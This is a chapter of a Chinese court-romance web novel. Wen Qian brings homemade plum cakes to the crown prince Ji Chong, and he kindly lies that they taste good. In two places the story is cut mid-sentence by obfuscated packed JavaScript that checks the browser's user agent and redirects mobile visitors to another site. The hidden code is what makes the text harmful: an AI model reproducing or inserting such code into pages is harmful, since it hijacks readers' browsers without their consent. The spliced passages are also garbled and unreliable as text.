闻鸿观剑眉微蹙,看着自己的女儿。 闻浅今日穿的是一身素绿,款式都有些发旧,看着不像定国公府千金,倒像是普通的小家碧玉。 闻鸿观开口道:“是没有好的衣服穿么?成天见你不是穿这身就是穿另一身白的,也不嫌寒碜。” 闻浅听父亲训话,既没有反驳也没有辩解,只沉默着。 见女儿这一副冷淡麻木的样子,闻鸿观一时心头上了火气。但他也知道,父女二人之间因为当年“抛弃”的事情已经有了难以弥合的裂痕。 闻鸿观道:“怎么不说话?” 闻浅这才淡淡道:“女儿知错了。” 闻鸿观冷笑:“你有什么错。” 就连跟在闻鸿观身边的小厮都察觉到父女二人间的气氛不对,却不敢出声多言。 “……”闻浅忽地慢慢抬头,一双澄澈的鹿眼看向父亲威严的脸,“爹爹,肃王是如何战死沙场的?” 没有想到闻浅会这么问的闻鸿观一愣,旋即冷冰冰道:“你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972579|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用多管。你在云京打听这些做什么?难道你还认识他?” 说完,闻鸿观就径自往老夫人去处离开,也不管闻浅什么反应。 闻浅站在原地,不言不语,芙蓉面上出了层薄汗。汗珠垂在长睫上,倒像是泪水就要滚落。 映杏这才出声提醒:“小姐,日头正晒,不如早些回房歇息吧。” 闻浅淡淡地“嗯”了一声。 * 忙这个字,由心亡构成,也大概只有一个人忙碌起来的时候,才会让一颗心不去胡思乱想。 闻浅一连好几天宅在闺房里,把从映棠那里得到的话本看了个够。看着书中人物的分分合合,闻浅心想,也许她和玉行的那段感情自始至终只是她的独角戏。 “不能再这样下去了。”闻浅抱臂坐在桌案前,看着那些话本,自言自语道,“不能再沉迷在过去了。” 可是,到底要怎样才能摆脱阴影呢? 几乎是下意识地就拿起一直放在案头的红梅,闻浅又摆弄起来。 “纸上画小猪,模样很特殊。” 她轻笑起来,这样充满童稚的诗句从纪翀口中念出来,总觉得有些违和。 从前童年还在云京的事,她大都不记得了,自然也忘记了和纪翀曾有过什么交流。、 亏他还记得。居然有人会一直记着自己?一直牵挂自己? 说感动的话,多少确实有点。但其他多余的感情,好像就没有了。 闻浅忽地又一怔,酸涩又慢慢攀上来。她现在这么想纪翀,那玉行是不是也会这么想她。 她有些懂了。 原来玩弄别人感情是一件这么简单的事情,甚至不需要刻意做什么,只要不喜欢对方就可以了。 * 第二日,闻浅亲手做了一些梅花糕,装在精致的黄花梨食盒里。 傍晚的时候,她收拾自己一番,编了头发,又穿上新制的翠绿凤仙纱裙,带着映杏往府外走去。 恰好碰上处理公务回来的父亲和兄长。 闻峥笑眯眯夸赞道:“妹妹今日打扮得真好看,晚膳用了吗?要不要来我院子里一起吃点?” 闻浅:“多谢兄长的好意,但我现在要出府。” 闻鸿观则是木着脸,冷冰冰道:“去哪?” “东宫。”闻浅没有隐瞒,“我有些不懂的地方想要请教太子殿下。” 面若桃李,脖颈修长,闻浅有着一张美冠云京的脸。又也许是在盈春楼待久了,沾染些许酒肆勾栏的不良风气,闻鸿观蹙着眉挑剔。 倒是闻峥上前伸出白玉般修长的手指,替她理了理步摇:“注意安全,早些回来,妹妹。” “你有什么不会的请教你兄长便是,何必去东宫找太子?”闻鸿观道,“收收不该有的心思。” 听到父亲这么说,闻浅的心皱起委屈,但她只是咬紧了娇嫩的下唇,没有辩驳。她不知道为什么父亲似乎总是不待见她。 还是闻峥率先开口道:“妹妹快去吧,再不去天快要黑了。” 闻浅这才行礼告退。 21. 梅花糕 闻浅轻而易举地走进了太子书房。不知道为什么,东宫的宫人见到她总是笑眯眯的。 书房很大,凤鸟衔环香炉里点了袅袅沉香。房间里只有纪翀一人。 她站在门口,慢吞吞地掩上门。 不远处的纪翀,正端正坐在桌案前,书桌上垒着高高低低的书卷。面若冠玉的他,正手握朱笔圈画着什么。听到动静,墨眉微敛,抬眸朝闻浅望去。 眼神中的淡漠很快被温柔冲散。漆黑的眸中倒映着她越来越靠近的身影。 方才门口的侍卫已经通报,他自然知道是她。 她走过来的时候,仿佛也带来了一阵芙蕖的清香。 “殿下,这是臣女亲手做的梅花糕。”闻浅走到纪翀身边,“不知您用过晚膳了吗?” 闻浅从来不会主动来东宫寻他,此刻造访也保持着毕恭毕敬的拘谨。 “用过了。”纪翀骨节分明的手放下朱笔,将没看完的文书先推到一旁。 此时此刻房间里只有两个人,迟到的余晖透过窗格照进房间里,闻浅垂下眸,长睫轻颤。拎着食盒的纤纤玉指纹丝不动。 * 其实没关系的,她恍恍惚惚地想起来,玉行很好,可是他也曾拒绝过她无数次。 有一天她把自己攒了很久的银两去换成一个大大的银元宝,献宝似的去给玉行。 玉行公子斜坐在回廊的美人靠上,月色罩着他,而他笑着看她:“给我元宝做什么?” 闻浅站着,回答:“我记得你和我说过你饭都吃不起了,这些钱是我在盈春楼的这几年攒下来的,你就收下吧。你帮了我那么多。” 玉行轻笑一声,侧脸望向不远处的灯火通明。 之前他是对她说过这种话,只不过原因是因为他身上有毒,要戒口腹之欲。 玉行:“傻……” 她看着他的侧脸:“那你不要嘛?这些是我做绣活换的,不是不干不净的钱。” 玉行:“我怎么能要你的钱,自己留着买好吃的吧。” 他以懒洋洋的姿势倚着,漫不经心随口道:“小钱我不要,等你以后长大了有能力了,养我啊。” 当时闻浅听了这话,心里一阵别扭,说不上什么感觉,酥酥麻麻的很奇怪。 * 纪翀起身,走到闻浅跟前。他人清瘦,肩却不窄,个头也高。此时低着头看向闻浅的时候,清浅矜贵的气息将闻浅全然笼着。 她虽面上没什么表情,但他能感受到,她似乎不太开心,她似乎在出神,在想什么呢? “那殿下,您是不想尝一尝么?”闻浅不自信地又问了一遍。 她无法遏制脑海里的想法像枝桠一样疯长,不管做什么都会回到玉行身上。她有的时候在想,她对玉行的感情,究竟是爱还是在盈春楼孤立无援时的需要?究竟是大脑在一时冲动状态下产生的幻觉,还是真的喜欢上了玉行这个她其实根本不了解的人。 她勉强地挤出笑意,看向纪翀,这个身份无比尊贵,一人之下万人之上的国之储君。她并不害怕他。 他的面容是俊美的,是和玉行相似的。可世界上毕竟没有两片一模一样的叶子,自然也不可能有两个一模一样的人。越是接近,她越是感觉到,纪翀和玉行其实是有着本质差别的。当这些差异浮现得越来越清晰,直到超越了两人身上相似的部分,她觉得自己的希望与爱意,恐怕又要幻灭。 她现在对他的拒绝有恃无恐,也仅仅是因为她不在意他。不在意他的拒绝,不在意他的冷淡,不在意他的一切。 “孤说过了,不必对孤这么客气。”纪翀伸手,从闻浅手中接过食盒。 这是闻浅没想到的。她确定此时纪翀是在专注地看他。 他温柔如烟的视线落在她的身上,同他人的凝视不同,和玉行的温柔相同。 很久之前在云京时,他人的凝视,或是对她美貌的觊觎,或是对她身份的敬而远之;后来在盈春楼时,他人的凝视,或是不怀好意的打量,或是对她的蔑视轻蔑。 他的眼神让她嗓子发紧、双膝发软。 但好在,他很快收回了视线。 纪翀又坐回位置上:“什么您您您的,你怕孤?” 闻浅摇摇头:“没有没有。” “这是你自己做的?”纪翀问,“怎么突然想起来东宫了呢?” 纪翀捻起一块放进嘴里,嚼了几下就吞咽下去,脸上没什么多余的表情。 闻浅其实不知道自己的梅花糕好不好吃,她只是一时兴起,叫厨房的伙计指点着自己做的。 看纪翀的表情,好像味道也不差吧。 纪翀咽下糕点后,忽然一笑。 他看着她,想起了从前在重门宫的事。 从前在重门宫,宫人总是瞧不起他,欺负他、打压他,他都习惯了吃了上顿没下顿的日子。 那时的闻浅,又活泼又明媚,就像一颗小太阳。当她知道他已经两天没有吃过饭了后,毫不客气地把一块枣糕塞到他手里。 小小的闻浅坐在长满绿苔的台阶上,坐在他的身边,对他说:“吃吧!” 少年纪翀,黑发覆在额前,像受伤的小兽,他犹疑道:“我可以吃吗?” 他已经知道面前的少女是定国公府的掌上明珠,名冠云京的大小姐闻浅。 而她似乎不知道自己的身份,她可能只以为自己是一个打杂的小厮吧? 那时候的自己,心思倒也是纯粹的。他只觉得她美得不可方物、美得不可亵渎,至于别的想法,利用或是愤恨,统统都没有。 他举起枣糕塞进嘴里,枣糕很干巴,还齁甜,但他默不作声地一口一口吃完了。 闻浅惊讶道:“诶,你觉得好吃吗?” 纪翀点点头:“好吃的。” 闻浅更惊讶了,笑了笑,小声道:“你真是个奇怪的人,我都觉得不太好吃。这是我自己做的。” 纪翀又重复了一遍:“好吃的。” 他有些口拙,不善言辞。 此去经年,应是良辰好景虚设。 有一种爱意,欲罢不能。可是一颗心,直到现在都会因为她的靠近而震动不已。 …… 闻浅想了想,还是忍不住开口问道:“诶,你觉得好吃吗?” 纪翀笑道:“好吃的。” 说完,他又拿起一块吃掉。 盒子里还剩一半,他盖上盖子,还给闻浅:“谢谢你啊,小浅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014785|141895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 小浅两个音,从他的唇里吐出,格外的温柔。仿若轻柔的羽毛轻轻地挠着闻浅的耳膜。 * 闻浅拿着还剩两块梅花糕的食盒离开东宫,在街道上,意外地碰上了纪明。 纪明带着几个随从,但是脸色并不是很好。 能好才怪呢。这几天圣人要他天天晚上来东宫和太子殿下一起学习,他才不想要。 纪明看到闻浅,眼睛一亮:“闻大小姐!” 闻浅行礼问安。 “你手里提的食盒里装了什么好吃的?”纪明刚用过晚膳,但还是嘴馋,他胖乎乎的手指指向闻浅的手中。 “梅花糕。”闻浅回答。 “给我吃一块呗!”纪明毫不客气。 闻浅便打开食盒,递给纪明:“好吧,你尝尝?” 纪明抓起一块就往嘴里送,很快“呸呸呸”地吐出来:“闻大小姐,哎呦,你在哪里买的梅花糕啊?齁甜!我就没吃过这么难吃的梅花糕。” 闻浅有些奇怪:“啊?不会吧?” “水,水给我!”纪明一抹嘴,伸手从随从手里接过水,“太难吃了实在是。” 闻浅便把最后一块梅花糕塞到自己的嘴里。 ……齁甜的味道在口腔里炸开,闻浅很后悔,她应该在送给纪翀前先自己尝一尝的。 做不到像纪明一样肆无忌惮,闻浅艰难地咽下去。 纪明:“你还咽的下去?快吐出来吧,别勉强自己。我倒知道街上有一家元记糕点铺卖的糕点很好吃,我可以叫人给你送两盒去。闻大小姐,你到底是哪里弄来的这么难吃的糕点?你们府里的厨子我记得手艺挺好的呀。” 闻浅:“这是我自己做的。” 纪明顿时噤声,讪讪地闭上嘴。 闻浅倒是一点没生气,她只是想起来纪翀说:“好吃的。” 原来他骗她。 他为什么要骗她? 难怪只吃了一半,还把食盒还给她。 可这么难吃的糕点,他为什么要吃两块。 …… 两天后,下过雨的傍晚,天气闷热。 藏书阁。 闻浅踮起脚去够最上层的一本书,她睁着眼,颇有些吃力。 在她身后,身量高挑的纪翀轻而易举地拿下她想要的书籍。 闻浅一僵,转过头,对上他的眼。 “借这本书做什么?”纪翀淡声问。 闻浅借的是一本关于景阳高氏家族的记载。 高才人正是出自景阳高氏。 闻浅似乎没有想到纪翀会出现在这儿。 这也太巧了吧。 她轻轻道:“没什么原因。” “你似乎对高才人,或者说,肃王很感兴趣?” 纪翀这么说,闻浅不禁怀疑那日肃王的画轴其实确实落到了纪翀手里。 她不知道怎么回答。 此时藏书阁一片寂静,她能感受到纪翀温热的呼吸。 方才纪翀进入的时候,她就猜到了是他。所以她故意装作够不到这本书。 闻浅转身,忽地重心不稳,直接跌入纪翀的怀里。 “殿下,你骗了我。”她说。